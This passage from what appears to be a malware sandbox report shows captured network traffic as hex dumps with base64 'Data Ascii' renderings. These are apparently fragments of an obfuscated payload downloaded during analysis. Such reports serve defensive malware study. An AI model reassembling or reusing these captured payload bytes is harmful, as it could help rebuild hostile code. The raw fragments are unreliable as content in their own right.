9 44 41 31 4c 47 41 32 51 69 78 67 4e 45 55 73 59 45 46 47 4c 47 42 47 52 69 78 67 52 55 49 73 59 44 6c 45 4c 47 42 45 
4e 79 78 67 52 6b 59 73 59 45 49 35 4c 47 42 43 52 69 78 67 4f 54 55 73 59 44 56 46 4c 47 42 47 52 69 78 67 4f 54 6b 73 
59 45 4a 47 4c 47 42 46 4e 43 78 67 4f 54 63 73 59 45 5a 45 4c 47 
Data Ascii: EMyxgRUIsYEZGLGA2MCxgRTcsYEY1LGBERixgMTAsYEFGLGBGRixgMzksYENELGA5RixgRjcsYDI3L
GBBNixgRkYsYEM3LGBCRixgRjUsYEY3LGBGRixgQzEsYEMxLGBFQixgNzMsYDU4LGAxRCxgNkYsYDA1L
GA2QixgNEUsYEFGLGBGRixgRUIsYDlELGBENyxgRkYsYEI5LGBCRixgOTUsYDVFLGBGRixgOTksYEJGL
GBFNCxgOTcsYEZELG

2021-12-02 20:47:22 UTC 84 IN Data Raw: 51 7a 4d 73 59 44 64 47 4c 47 42 47 4d 79 78 67 4d 6b 59 73 59 45 45 79 4c 47 41 79 4d 53 78 67 51 6b 49 73 
59 45 49 30 4c 47 42 47 4e 53 78 67 4e 55 59 73 59 44 51 30 4c 47 42 46 51 79 78 67 52 44 67 73 59 44 63 35 4c 47 42 
47 4e 53 78 67 52 6a 63 73 59 45 4d 32 4c 47 42 42 51 69 78 67 52 6b 59 73 59 45 59 30 4c 47 42 44 4e 53 78 67 52 55 
59 73 59 45 59 32 4c 47 41 33 4e 79 78 67 51 54 63 73 59 44 4e 47 4c 47 42 47 4e 69 78 67 4e 30 59 73 59 45 5a 47 4c 4
7 41 30 4d 53 78 67 51 54 63 73 59 45 5a 46 4c 47 42 42 51 69 78 67 4e 55 59 73 59 44 45 77 4c 47 41 32 4d 79 78 67 52 
6b 4d 73 59 45 55 32 4c 47 41 7a 4e 69 78 67 52 55 59 73 59 45 5a 44 4c 47 41 77 4e 53 78 67 51 55 51 73 59 45 49 33 
4c 47 41 33 4e 53 78 67 4e 55 55 73 59 45 5a 45 4c 47 41 35 52 43 78 
Data Ascii: QzMsYDdGLGBGMyxgMkYsYEEyLGAyMSxgQkIsYEI0LGBGNSxgNUYsYDQ0LGBFQyxgRDgsYDc5LGBGNS
xgRjcsYEM2LGBBQixgRkYsYEY0LGBDNSxgRUYsYEY2LGA3NyxgQTcsYDNGLGBGNixgN0YsYEZGLGA0MS
xgQTcsYEZFLGBBQixgNUYsYDEwLGA2MyxgRkMsYEU2LGAzNixgRUYsYEZDLGAwNSxgQUQsYEI3LGA3NS
xgNUUsYEZELGA5RCx

2021-12-02 20:47:22 UTC 89 IN Data Raw: 44 63 77 4c 47 42 43 4d 53 78 67 52 45 49 73 59 44 4a 47 4c 47 41 34 4d 43 78 67 51 6a 63 73 59 45 51 77 4c 
47 41 33 4f 53 78 67 52 6b 51 73 59 45 56 47 4c 47 42 46 4e 69 78 67 52 44 63 73 59 45 5a 47 4c 47 42 46 52 69 78 67 
52 6b 59 73 59 45 55 35 4c 47 41 7a 52 69 78 67 4e 45 4d 73 59 44 64 47 4c 47 41 35 51 69 78 67 51 6a 4d 73 59 45 4a 
47 4c 47 42 46 4d 79 78 67 51 6b 59 73 59 45 59 32 4c 47 41 7a 51 69 78 67 52 6b 55 73 59 45 59 78 4c 47 42 45 52 69 7
8 67 52 6b 4d 73 59 44 4d 33 4c 47 41 33 4d 53 78 67 4e 54 49 73 59 45 59 30 4c 47 42 46 4d 79 78 67 51 54 51 73 59 
44 6c 45 4c 47 41 7a 51 69 78 67 4e 6b 59 73 59 45 5a 46 4c 47 41 34 4d 53 78 67 4e 7a 67 73 59 45 59 7a 4c 47 41 31 
52 69 78 67 52 6b 4d 73 59 45 4e 45 4c 47 42 47 52 53 78 67 52 6a 67 73 
Data Ascii: DcwLGBCMSxgREIsYDJGLGA4MCxgQjcsYEQwLGA3OSxgRkQsYEVGLGBFNixgRDcsYEZGLGBFRixgRkY
sYEU5LGAzRixgNEMsYDdGLGA5QixgQjMsYEJGLGBFMyxgQkYsYEY2LGAzQixgRkUsYEYxLGBERixgRkM
sYDM3LGA3MSxgNTIsYEY0LGBFMyxgQTQsYDlELGAzQixgNkYsYEZFLGA4MSxgNzgsYEYzLGA1RixgRkM
sYENELGBGRSxgRjgs

2021-12-02 20:47:22 UTC 93 IN Data Raw: 41 77 4e 79 78 67 52 44 63 73 59 45 5a 47 4c 47 42 45 51 69 78 67 4e 44 45 73 59 45 5a 42 4c 47 42 46 4f 43 
78 67 51 7a 63 73 59 45 5a 47 4c 47 42 47 51 53 78 67 4f 54 45 73 59 45 5a 47 4c 47 42 46 51 53 78 67 51 6b 59 73 59 
44 52 45 4c 47 41 78 4e 43 78 67 4e 30 55 73 59 44 5a 42 4c 47 41 31 51 79 78 67 4f 44 45 73 59 45 52 47 4c 47 42 47 
51 79 78 67 52 45 59 73 59 45 45 32 4c 47 41 30 4e 43 78 67 4e 55 49 73 59 45 55 33 4c 47 42 45 4e 53 78 67 4e 30 59 7
3 59 45 5a 46 4c 47 41 79 52 69 78 67 51 54 45 73 59 44 55 33 4c 47 42 45 52 69 78 67 4d 30 4d 73 59 45 59 35 4c 47 42 
42 4e 79 78 67 4e 30 55 73 59 44 6b 7a 4c 47 42 43 4e 43 78 67 4d 6b 51 73 59 45 5a 46 4c 47 42 46 4d 43 78 67 4d 30 
59 73 59 45 52 42 4c 47 41 33 52 69 78 67 52 6a 55 73 59 44 46 47 4c 
Data Ascii: AwNyxgRDcsYEZGLGBEQixgNDEsYEZBLGBFOCxgQzcsYEZGLGBGQSxgOTEsYEZGLGBFQS
xgQkYsYDRELGAxNCxgN0UsYDZBLGA1QyxgODEsYERGLGBGQyxgREYsYEE2LGA0NCxgNUIsYEU3LGBENS
xgN0YsYEZFLGAyRixgQTEsYDU3LGBERixgM0MsYEY5LGBBNyxgN0UsYDkzLGBCNCxgMkQsYEZFLGBFMC
xgM0YsYERBLGA3RixgRjUsYDFGL

2021-12-02 20:47:22 UTC 96 IN Data Raw: 46 4c 47 42 47 52 53 78 67 4f 44 63 73 59 45 59 78 4c 47 42 47 4e 69 78 67 4e 55 59 73 59 45 59 34 4c 47 41 
33 51 69 78 67 4d 30 59 73 59 45 5a 43 4c 47 42 46 52 69 78 67 52 44 4d 73 59 44 56 47 4c 47 42 47 4f 43 78 67 4f 55 51 
73 59 44 4e 47 4c 47 41 7a 4d 69 78 67 4e 45 4d 73 59 44 49 31 4c 47 42 45 51 79 78 67 4d 44 63 73 59 45 4d 31 4c 47 
42 43 52 53 78 67 4e 7a 51 73 59 44 55 35 4c 47 42 44 4e 53 78 67 52 6b 49 73 59 45 59 30 4c 47 42 47 51 53 78 67 4d 
55 59 73 59 45 52 42 4c 47 41 33 4f 53 78 67 52 6b 51 73 59 44 42 47 4c 47 42 44 4d 53 78 67 52 55 49 73 59 45 5a 47 4
c 47 42 47 4f 53 78 67 4e 55 59 73 59 44 4d 32 4c 47 42 47 52 43 78 67 52 45 49 73 59 45 51 79 4c 47 41 33 52 69 78 67 
52 54 41 73 59 44 4d 33 4c 47 42 47 51 79 78 67 4d 44 4d 73 59 45 
Data Ascii: FLGBGRSxgODcsYEYxLGBGNixgNUYsYEY4LGA3QixgM0YsYEZCLGBFRixgRDMsYDVGLGB
GOCxgOUQsYDNGLGAzMixgNEMsYDI1LGBEQyxgMDcsYEM1LGBCRSxgNzQsYDU5LGBDNSxgRkIsYEY0LGB
GQSxgMUYsYERBLGA3OSxgRkQsYDBGLGBDMSxgRUIsYEZGLGBGOSxgNUYsYDM2LGBGRCxgREIsYEQyLGA
3RixgRTAsYDM3LGBGQyxgMDMsYE

2021-12-02 20:47:22 UTC 100 IN Data Raw: 4d 69 78 67 51 30 55 73 59 45 46 43 4c 47 42 43 52 69 78 67 4d 44 4d 73 59 44 56 46 4c 47 42 47 52 43 78 67 
4d 30 51 73 59 45 5a 47 4c 47 42 44 4d 43 78 67 52 6b 59 73 59 45 5a 46 4c 47 41 33 52 69 78 67 4e 44 67 73 59 45 5a 
47 4c 47 42 46 52 53 78 67 51 6b 59 73 59 45 59 32 4c 47 41 33 52 69 78 67 52 6a 67 73 59 44 67 31 4c 47 41 77 4d 53 
78 67 52 44 49 73 59 44 5a 43 4c 47 41 77 4f 43 78 67 51 7a 51 73 59 45 56 47 4c 47 42 46 52 53 78 67 52 44 59 73 59 4
5 4e 43 4c 47 42 45 4e 69 78 67 4f 44 51 73 59 45 59 30 4c 47 41 35 52 69 78 67 52 45 45 73 59 44 63 35 4c 47 42 47 52 
43 78 67 52 45 59 73 59 45 5a 45 4c 47 42 43 4d 79 78 67 52 54 67 73 59 45 59 31 4c 47 41 7a 52 69 78 67 4d 6a 55 73 
59 45 59 35 4c 47 42 46 4e 53 78 67 52 6b 59 73 59 44 51 7a 4c 47 42 
Data Ascii: MixgQ0UsYEFCLGBCRixgMDMsYDVFLGBGRCxgM0QsYEZGLGBDMCxgRkYsYEZFLGA3Rixg
NDgsYEZGLGBFRSxgQkYsYEY2LGA3RixgRjgsYDg1LGAwMSxgRDIsYDZCLGAwOCxgQzQsYEVGLGBFRSxg
RDYsYENCLGBENixgODQsYEY0LGA5RixgREEsYDc5LGBGRCxgREYsYEZELGBCMyxgRTgsYEY1LGAzRixg
MjUsYEY5LGBFNSxgRkYsYDQzLGB

2021-12-02 20:47:22 UTC 104 IN Data Raw: 6b 59 73 59 45 59 31 4c 47 41 7a 51 69 78 67 52 6b 55 73 59 44 6c 43 4c 47 41 32 4f 53 78 67 51 6a 67 73 59 
45 4a 47 4c 47 41 35 4d 79 78 67 4d 55 51 73 59 45 56 46 4c 47 42 45 52 69 78 67 52 6b 4d 73 59 44 55 7a 4c 47 42 47 
4e 53 78 67 4f 55 59 73 59 45 51 34 4c 47 41 33 4f 53 78 67 4e 7a 55 73 59 44 68 45 4c 47 41 31 4e 79 78 67 4e 30 59 73 
59 44 6c 47 4c 47 41 7a 52 69 78 67 4e 7a 6b 73 59 45 5a 44 4c 47 41 79 4e 43 78 67 52 6b 51 73 59 44 42 45 4c 47 41 
33 52 69 78 67 52 44 63 73 59 45 46 47 4c 47 41 33 52 53 78 67 52 44 63 73 59 45 45 77 4c 47 42 46 4d 79 78 67 4d 30 
51 73 59 44 52 44 4c 47 42 43 4d 43 78 67 52 44 55 73 59 44 41 78 4c 47 42 47 52 69 78 67 52 44 63 73 59 44 5a 47 4c 
47 42 43 4e 43 78 67 4e 44 63 73 59 44 4e 45 4c 47 42 47 52 69 78 67 
Data Ascii: kYsYEY1LGAzQixgRkUsYDlCLGA2OSxgQjgsYEJGLGA5MyxgMUQsYEVFLGBERixgRkMsYDUzLGBGNSx
gOUYsYEQ4LGA3OSxgNzUsYDhELGA1NyxgN0YsYDlGLGAzRixgNzksYEZDLGAyNCxgRkQsYDBELGA3Rix
gRDcsYEFGLGA3RSxgRDcsYEEwLGBFMyxgM0QsYDRDLGBCMCxgRDUsYDAxLGBGRixgRDcsYDZGLGBCNCx
gNDcsYDNELGBGRixg
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2021-12-02 20:47:22 UTC 108 IN Data Raw: 56 47 4c 47 42 47 4e 79 78 67 52 44 63 73 59 45 52 46 4c 47 42 47 51 53 78 67 4d 45 49 73 59 45 45 35 4c 47 
42 46 4d 79 78 67 51 55 51 73 59 45 4a 47 4c 47 41 34 4e 43 78 67 52 6b 55 73 59 45 59 35 4c 47 41 79 52 43 78 67 51 
6a 6b 73 59 45 5a 47 4c 47 41 33 52 69 78 67 4f 54 55 73 59 45 5a 42 4c 47 42 47 52 69 78 67 52 6a 55 73 59 45 49 33 
4c 47 42 44 4d 79 78 67 52 6b 55 73 59 45 56 47 4c 47 41 77 4d 53 78 67 52 45 45 73 59 45 4d 7a 4c 47 42 45 52 69 78 
67 52 6b 49 73 59 45 52 47 4c 47 41 7a 4f 43 78 67 4e 45 59 73 59 44 64 47 4c 47 42 47 4d 53 78 67 4e 55 59 73 59 45 
4a 46 4c 47 42 47 4e 79 78 67 4e 6b 49 73 59 44 41 33 4c 47 42 45 4d 43 78 67 52 6b 55 73 59 45 56 45 4c 47 41 31 52 
69 78 67 52 6a 4d 73 59 44 4d 33 4c 47 42 47 52 69 78 67 4e 7a 55 73 59 
Data Ascii: VGLGBGNyxgRDcsYERFLGBGQSxgMEIsYEE5LGBFMyxgQUQsYEJGLGA4NCxgRkUsYEY5LGAyRCxgQjks
YEZGLGA3RixgOTUsYEZBLGBGRixgRjUsYEI3LGBDMyxgRkUsYEVGLGAwMSxgREEsYEMzLGBERixgRkIs
YERGLGAzOCxgNEYsYDdGLGBGMSxgNUYsYEJFLGBGNyxgNkIsYDA3LGBEMCxgRkUsYEVELGA1RixgRjMs
YDM3LGBGRixgNzUsY

2021-12-02 20:47:22 UTC 112 IN Data Raw: 35 52 43 78 67 52 6b 59 73 59 44 4a 42 4c 47 41 33 51 79 78 67 51 6a 67 73 59 45 56 45 4c 47 42 45 4f 43 78 
67 52 6b 49 73 59 44 45 33 4c 47 42 46 4d 79 78 67 52 55 59 73 59 45 4a 47 4c 47 41 78 4d 69 78 67 52 6b 59 73 59 44 
68 44 4c 47 42 45 52 43 78 67 4f 44 63 73 59 44 4e 47 4c 47 42 44 4d 43 78 67 52 45 59 73 59 44 64 47 4c 47 41 77 4d 
43 78 67 4d 44 59 73 59 45 5a 43 4c 47 42 46 51 69 78 67 4d 45 59 73 59 45 59 7a 4c 47 41 7a 51 79 78 67 51 7a 6b 73 5
9 45 56 45 4c 47 42 42 52 69 78 67 4f 54 63 73 59 44 41 77 4c 47 42 43 4d 79 78 67 4e 30 59 73 59 44 67 32 4c 47 41 7a 
4d 43 78 67 52 6b 49 73 59 45 4a 44 4c 47 41 34 4d 79 78 67 52 44 6b 73 59 44 52 47 4c 47 41 78 4d 43 78 67 4e 6a 59 
73 59 45 4a 47 4c 47 42 47 4f 53 78 67 51 55 59 73 59 45 59 7a 4c 47 
Data Ascii: 5RCxgRkYsYDJBLGA3QyxgQjgsYEVELGBEOCxgRkIsYDE3LGBFMyxgRUYsYEJGLGAxMixgRkYsYDhDL
GBERCxgODcsYDNGLGBDMCxgREYsYDdGLGAwMCxgMDYsYEZCLGBFQixgMEYsYEYzLGAzQyxgQzksYEVEL
GBBRixgOTcsYDAwLGBCMyxgN0YsYDg2LGAzMCxgRkIsYEJDLGA4MyxgRDksYDRGLGAxMCxgNjYsYEJGL
GBGOSxgQUYsYEYzLG

2021-12-02 20:47:22 UTC 116 IN Data Raw: 4e 30 59 73 59 45 51 30 4c 47 42 46 4d 79 78 67 52 54 55 73 59 44 5a 47 4c 47 42 47 4f 53 78 67 4d 55 49 73 
59 45 45 31 4c 47 41 77 52 69 78 67 52 6b 55 73 59 45 5a 46 4c 47 42 45 52 69 78 67 51 6a 4d 73 59 44 52 44 4c 47 41 
78 52 69 78 67 52 6b 55 73 59 45 49 7a 4c 47 41 33 52 69 78 67 52 54 63 73 59 45 52 47 4c 47 42 47 52 53 78 67 4e 54 
4d 73 59 45 55 35 4c 47 42 46 4e 79 78 67 52 6b 59 73 59 45 52 42 4c 47 41 35 52 69 78 67 51 6a 41 73 59 44 4d 34 4c 4
7 41 7a 52 69 78 67 4e 45 59 73 59 44 64 47 4c 47 41 34 52 43 78 67 52 6a 51 73 59 45 52 47 4c 47 42 47 52 43 78 67 4f 
45 51 73 59 45 51 79 4c 47 41 33 52 69 78 67 52 54 63 73 59 44 52 47 4c 47 42 47 51 69 78 67 4e 6a 63 73 59 45 46 47 
4c 47 42 43 4d 79 78 67 52 6a 51 73 59 45 52 47 4c 47 42 47 52 69 78 
Data Ascii: N0YsYEQ0LGBFMyxgRTUsYDZGLGBGOSxgMUIsYEE1LGAwRixgRkUsYEZFLGBERixgQjMsYDRDLGAxRi
xgRkUsYEIzLGA3RixgRTcsYERGLGBGRSxgNTMsYEU5LGBFNyxgRkYsYERBLGA5RixgQjAsYDM4LGAzRi
xgNEYsYDdGLGA4RCxgRjQsYERGLGBGRCxgOEQsYEQyLGA3RixgRTcsYDRGLGBGQixgNjcsYEFGLGBCMy
xgRjQsYERGLGBGRix

2021-12-02 20:47:22 UTC 121 IN Data Raw: 45 5a 46 4c 47 42 46 4e 43 78 67 4e 55 59 73 59 44 68 46 4c 47 42 44 52 69 78 67 4f 55 55 73 59 44 41 31 4c 
47 41 35 52 69 78 67 51 7a 45 73 59 44 6c 47 4c 47 42 47 51 79 78 67 4e 30 49 73 59 45 4d 34 4c 47 41 33 52 69 78 67 
51 55 59 73 59 45 5a 47 4c 47 42 45 52 53 78 67 51 6a 41 73 59 45 55 7a 4c 47 42 45 52 69 78 67 4d 30 55 73 59 45 5a 
45 4c 47 41 78 52 43 78 67 4f 55 55 73 59 45 5a 47 4c 47 42 42 4e 69 78 67 4e 30 59 73 59 44 67 79 4c 47 41 33 4e 43 7
8 67 52 6b 4d 73 59 44 4e 43 4c 47 41 31 4d 43 78 67 51 7a 63 73 59 45 4a 47 4c 47 42 47 52 43 78 67 4e 45 59 73 59 
45 5a 45 4c 47 42 46 4e 69 78 67 51 6b 59 73 59 44 41 7a 4c 47 42 46 4e 53 78 67 4e 7a 59 73 59 45 55 78 4c 47 42 46 
4f 53 78 67 52 6b 59 73 59 45 51 31 4c 47 41 31 4e 79 78 67 51 30 49 73 
Data Ascii: EZFLGBFNCxgNUYsYDhFLGBDRixgOUUsYDA1LGA5RixgQzEsYDlGLGBGQyxgN0IsYEM4LGA3RixgQUY
sYEZGLGBERSxgQjAsYEUzLGBERixgM0UsYEZELGAxRCxgOUUsYEZGLGBBNixgN0YsYDgyLGA3NCxgRkM
sYDNCLGA1MCxgQzcsYEJGLGBGRCxgNEYsYEZELGBFNixgQkYsYDAzLGBFNSxgNzYsYEUxLGBFOSxgRkY
sYEQ1LGA1NyxgQ0Is

2021-12-02 20:47:22 UTC 125 IN Data Raw: 42 47 51 53 78 67 4d 44 63 73 59 45 56 45 4c 47 42 43 4d 79 78 67 52 6a 51 73 59 45 56 47 4c 47 42 47 51 69 
78 67 52 54 4d 73 59 44 64 47 4c 47 42 47 4e 53 78 67 4d 30 59 73 59 45 59 31 4c 47 41 33 51 69 78 67 52 6b 59 73 59 
44 55 30 4c 47 41 31 51 53 78 67 52 6b 51 73 59 44 5a 45 4c 47 42 42 4e 79 78 67 4e 6a 55 73 59 44 64 42 4c 47 42 47 
52 53 78 67 52 55 55 73 59 45 59 33 4c 47 41 7a 51 53 78 67 52 6a 67 73 59 44 64 45 4c 47 42 45 4d 69 78 67 52 6a 59 7
3 59 45 4e 46 4c 47 42 45 52 69 78 67 52 6b 49 73 59 45 52 43 4c 47 42 42 4e 69 78 67 51 6b 59 73 59 45 4e 43 4c 47 42 
43 4d 79 78 67 52 6b 59 73 59 45 5a 43 4c 47 41 7a 4e 79 78 67 52 6b 4d 73 59 45 45 35 4c 47 42 45 52 69 78 67 4f 55 
49 73 59 44 63 34 4c 47 41 79 52 69 78 67 4e 45 59 73 59 45 5a 47 4c 
Data Ascii: BGQSxgMDcsYEVELGBCMyxgRjQsYEVGLGBGQixgRTMsYDdGLGBGNSxgM0YsYEY1LGA3Qi
xgRkYsYDU0LGA1QSxgRkQsYDZELGBBNyxgNjUsYDdBLGBGRSxgRUUsYEY3LGAzQSxgRjgsYDdELGBEMi
xgRjYsYENFLGBERixgRkIsYERCLGBBNixgQkYsYENCLGBCMyxgRkYsYEZCLGAzNyxgRkMsYEE5LGBERi
xgOUIsYDc4LGAyRixgNEYsYEZGL

2021-12-02 20:47:22 UTC 128 IN Data Raw: 31 4c 47 42 47 4e 43 78 67 4e 6a 4d 73 59 44 4d 30 4c 47 42 42 4e 69 78 67 4e 55 59 73 59 45 4d 77 4c 47 41 
77 4f 53 78 67 52 44 49 73 59 45 52 47 4c 47 41 7a 4d 43 78 67 52 6b 51 73 59 44 4d 33 4c 47 42 47 52 69 78 67 51 6a 
49 73 59 44 4a 47 4c 47 41 31 52 69 78 67 52 6b 59 73 59 45 4d 32 4c 47 41 7a 52 69 78 67 4e 7a 59 73 59 44 6c 46 4c 
47 42 47 52 53 78 67 4e 44 6b 73 59 45 4a 47 4c 47 42 46 51 53 78 67 51 30 59 73 59 45 5a 43 4c 47 42 44 52 43 78 67 4
f 44 6b 73 59 44 4a 43 4c 47 41 7a 52 53 78 67 52 6b 45 73 59 44 4a 45 4c 47 42 43 52 53 78 67 52 6a 55 73 59 44 45 33 
4c 47 42 47 52 69 78 67 4d 30 55 73 59 45 55 35 4c 47 42 46 52 69 78 67 52 6a 45 73 59 45 51 35 4c 47 41 33 52 69 78 
67 4f 54 51 73 59 44 6b 7a 4c 47 41 30 4e 69 78 67 4d 30 45 73 59 45 
Data Ascii: 1LGBGNCxgNjMsYDM0LGBBNixgNUYsYEMwLGAwOSxgRDIsYERGLGAzMCxgRkQsYDM3LGBGRixgQjIsY
DJGLGA1RixgRkYsYEM2LGAzRixgNzYsYDlFLGBGRSxgNDksYEJGLGBFQSxgQ0YsYEZCLGBDRCxgODksY
DJCLGAzRSxgRkEsYDJELGBCRSxgRjUsYDE3LGBGRixgM0UsYEU5LGBFRixgRjEsYEQ5LGA3RixgOTQsY
DkzLGA0NixgM0EsYE

2021-12-02 20:47:22 UTC 132 IN Data Raw: 52 69 78 67 4d 6a 6b 73 59 45 52 46 4c 47 42 47 51 69 78 67 51 7a 6b 73 59 45 52 47 4c 47 42 47 4e 53 78 67 
4d 55 59 73 59 45 5a 45 4c 47 41 33 4e 79 78 67 52 44 4d 73 59 45 5a 44 4c 47 41 79 52 69 78 67 52 6b 59 73 59 44 51 
31 4c 47 41 7a 52 69 78 67 52 55 51 73 59 45 4a 47 4c 47 42 47 4e 79 78 67 52 45 49 73 59 45 59 35 4c 47 41 33 4f 43 
78 67 52 6b 59 73 59 44 52 46 4c 47 41 33 52 69 78 67 51 30 55 73 59 45 51 32 4c 47 42 42 52 69 78 67 4d 45 49 73 59 
45 4a 44 4c 47 41 33 52 69 78 67 4d 30 51 73 59 45 4d 32 4c 47 41 35 51 69 78 67 4d 6a 49 73 59 45 45 30 4c 47 42 45 
52 43 78 67 4d 45 55 73 59 44 6c 44 4c 47 41 33 52 69 78 67 4d 54 49 73 59 44 6b 35 4c 47 42 46 51 53 78 67 51 6b 59 
73 59 45 55 79 4c 47 42 45 4e 79 78 67 52 6b 51 73 59 44 4a 45 4c 47 42 
Data Ascii: RixgMjksYERFLGBGQixgQzksYERGLGBGNSxgMUYsYEZELGA3NyxgRDMsYEZDLGAyRixgRkYsYDQ1LG
AzRixgRUQsYEJGLGBGNyxgREIsYEY5LGA3OCxgRkYsYDRFLGA3RixgQ0UsYEQ2LGBBRixgMEIsYEJDLG
A3RixgM0QsYEM2LGA5QixgMjIsYEE0LGBERCxgMEUsYDlDLGA3RixgMTIsYDk5LGBFQSxgQkYsYEUyLG
BENyxgRkQsYDJELGB

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 33 of 57



2021-12-02 20:47:22 UTC 136 IN Data Raw: 6b 59 73 59 45 56 46 4c 47 42 43 52 69 78 67 52 6a 63 73 59 45 59 33 4c 47 42 47 4f 53 78 67 51 6b 51 73 59 
45 4e 47 4c 47 42 45 4d 79 78 67 4e 30 59 73 59 45 56 45 4c 47 42 47 4e 79 78 67 52 6a 67 73 59 45 55 7a 4c 47 42 47 
52 69 78 67 4f 54 49 73 59 45 59 30 4c 47 42 47 4e 79 78 67 52 6b 45 73 59 44 52 47 4c 47 42 47 52 53 78 67 4f 45 4d 73 
59 44 64 47 4c 47 42 47 4f 43 78 67 51 54 63 73 59 45 4e 46 4c 47 42 44 52 69 78 67 4e 30 59 73 59 45 56 47 4c 47 42 
47 4e 43 78 67 52 6a 63 73 59 45 5a 46 4c 47 41 79 4e 79 78 67 4d 30 55 73 59 45 5a 46 4c 47 42 42 4d 79 78 67 52 44 
49 73 59 45 4d 35 4c 47 42 45 52 69 78 67 52 6a 67 73 59 44 46 43 4c 47 41 34 51 79 78 67 4e 30 59 73 59 44 6c 47 4c 
47 42 47 4d 79 78 67 52 6a 51 73 59 44 68 47 4c 47 42 47 51 79 78 67 
Data Ascii: kYsYEVFLGBCRixgRjcsYEY3LGBGOSxgQkQsYENGLGBEMyxgN0YsYEVELGBGNyxgRjgsYEUzLGBGRix
gOTIsYEY0LGBGNyxgRkEsYDRGLGBGRSxgOEMsYDdGLGBGOCxgQTcsYENFLGBDRixgN0YsYEVGLGBGNCx
gRjcsYEZFLGAyNyxgM0UsYEZFLGBBMyxgRDIsYEM5LGBERixgRjgsYDFCLGA4QyxgN0YsYDlGLGBGMyx
gRjQsYDhGLGBGQyxg

2021-12-02 20:47:22 UTC 140 IN Data Raw: 63 7a 4c 47 42 46 51 53 78 67 52 6b 55 73 59 44 52 47 4c 47 42 42 4e 69 78 67 52 45 59 73 59 44 56 43 4c 47 
42 47 51 53 78 67 52 6b 59 73 59 44 4e 47 4c 47 41 30 4e 69 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 33 51 69 78 67 52 
54 6b 73 59 45 4a 43 4c 47 42 45 52 69 78 67 4f 45 51 73 59 45 5a 46 4c 47 42 47 52 69 78 67 4e 54 63 73 59 45 5a 44 
4c 47 41 31 51 53 78 67 4d 6a 49 73 59 45 4a 42 4c 47 42 43 52 69 78 67 4d 7a 45 73 59 44 64 45 4c 47 41 33 4e 69 78 
67 52 6a 41 73 59 44 63 33 4c 47 42 45 4d 43 78 67 4d 55 59 73 59 45 55 35 4c 47 41 32 4e 79 78 67 52 45 59 73 59 45 
5a 45 4c 47 42 46 51 69 78 67 52 6b 55 73 59 44 68 45 4c 47 42 47 4e 43 78 67 4e 30 59 73 59 45 5a 44 4c 47 41 30 4e 
79 78 67 52 6b 55 73 59 45 5a 43 4c 47 42 46 52 69 78 67 52 6a 67 73 59 
Data Ascii: czLGBFQSxgRkUsYDRGLGBBNixgREYsYDVCLGBGQSxgRkYsYDNGLGA0NixgRkYsYEZGLGA3QixgRTks
YEJCLGBERixgOEQsYEZFLGBGRixgNTcsYEZDLGA1QSxgMjIsYEJBLGBCRixgMzEsYDdELGA3NixgRjAs
YDc3LGBEMCxgMUYsYEU5LGA2NyxgREYsYEZELGBFQixgRkUsYDhELGBGNCxgN0YsYEZDLGA0NyxgRkUs
YEZCLGBFRixgRjgsY

2021-12-02 20:47:22 UTC 144 IN Data Raw: 33 52 69 78 67 52 6a 6b 73 59 45 4a 47 4c 47 41 30 4f 53 78 67 52 55 49 73 59 45 55 31 4c 47 42 43 51 69 78 
67 51 6b 59 73 59 45 4e 43 4c 47 42 46 52 69 78 67 4d 54 55 73 59 44 45 35 4c 47 42 47 4e 53 78 67 52 55 59 73 59 44 
51 31 4c 47 41 35 4f 43 78 67 4d 30 51 73 59 45 45 30 4c 47 41 31 4f 53 78 67 52 6b 59 73 59 44 41 78 4c 47 41 34 4e 53 
78 67 4d 54 41 73 59 45 4a 47 4c 47 41 7a 4e 53 78 67 4d 44 55 73 59 44 4a 47 4c 47 41 33 52 69 78 67 4d 7a 63 73 59 
44 59 78 4c 47 42 47 52 43 78 67 4f 54 4d 73 59 44 67 30 4c 47 42 46 4d 53 78 67 4d 30 59 73 59 44 51 32 4c 47 42 43 5
2 69 78 67 52 6b 59 73 59 44 41 78 4c 47 42 42 4e 43 78 67 4e 30 4d 73 59 44 5a 43 4c 47 41 30 4d 69 78 67 52 55 51 73 
59 44 56 47 4c 47 41 79 4d 43 78 67 4e 6b 4d 73 59 45 5a 47 4c 47 
Data Ascii: 3RixgRjksYEJGLGA0OSxgRUIsYEU1LGBCQixgQkYsYENCLGBFRixgMTUsYDE5LGBGNSxgRUYsYDQ1L
GA5OCxgM0QsYEE0LGA1OSxgRkYsYDAxLGA4NSxgMTAsYEJGLGAzNSxgMDUsYDJGLGA3RixgMzcsYDYxL
GBGRCxgOTMsYDg0LGBFMSxgM0YsYDQ2LGBCRixgRkYsYDAxLGBBNCxgN0MsYDZCLGA0MixgRUQsYDVGL
GAyMCxgNkMsYEZGLG

2021-12-02 20:47:22 UTC 148 IN Data Raw: 4f 44 45 73 59 44 4d 33 4c 47 42 47 52 69 78 67 52 6a 51 73 59 44 64 47 4c 47 42 42 52 53 78 67 52 6b 51 73 
59 44 41 33 4c 47 42 45 4d 69 78 67 52 45 51 73 59 44 56 47 4c 47 42 47 51 79 78 67 51 55 59 73 59 44 46 44 4c 47 42 
47 51 69 78 67 4e 6b 59 73 59 44 46 46 4c 47 42 47 51 79 78 67 52 54 59 73 59 44 4e 43 4c 47 41 35 51 53 78 67 51 30 
45 73 59 45 45 79 4c 47 41 7a 4e 79 78 67 4d 45 59 73 59 44 64 46 4c 47 42 42 51 53 78 67 52 6b 55 73 59 44 4e 45 4c 4
7 41 7a 51 53 78 67 4e 6b 59 73 59 45 5a 46 4c 47 41 78 4d 79 78 67 51 7a 67 73 59 44 59 31 4c 47 42 47 52 43 78 67 51 
7a 51 73 59 45 45 7a 4c 47 41 31 52 69 78 67 52 6a 41 73 59 44 42 47 4c 47 42 42 4e 53 78 67 52 45 49 73 59 44 46 47 
4c 47 41 33 52 43 78 67 52 6b 55 73 59 45 4e 43 4c 47 42 47 51 79 78 
Data Ascii: ODEsYDM3LGBGRixgRjQsYDdGLGBBRSxgRkQsYDA3LGBEMixgREQsYDVGLGBGQyxgQUYs
YDFDLGBGQixgNkYsYDFFLGBGQyxgRTYsYDNCLGA5QSxgQ0EsYEEyLGAzNyxgMEYsYDdFLGBBQSxgRkUs
YDNELGAzQSxgNkYsYEZFLGAxMyxgQzgsYDY1LGBGRCxgQzQsYEEzLGA1RixgRjAsYDBGLGBBNSxgREIs
YDFGLGA3RCxgRkUsYENCLGBGQyx

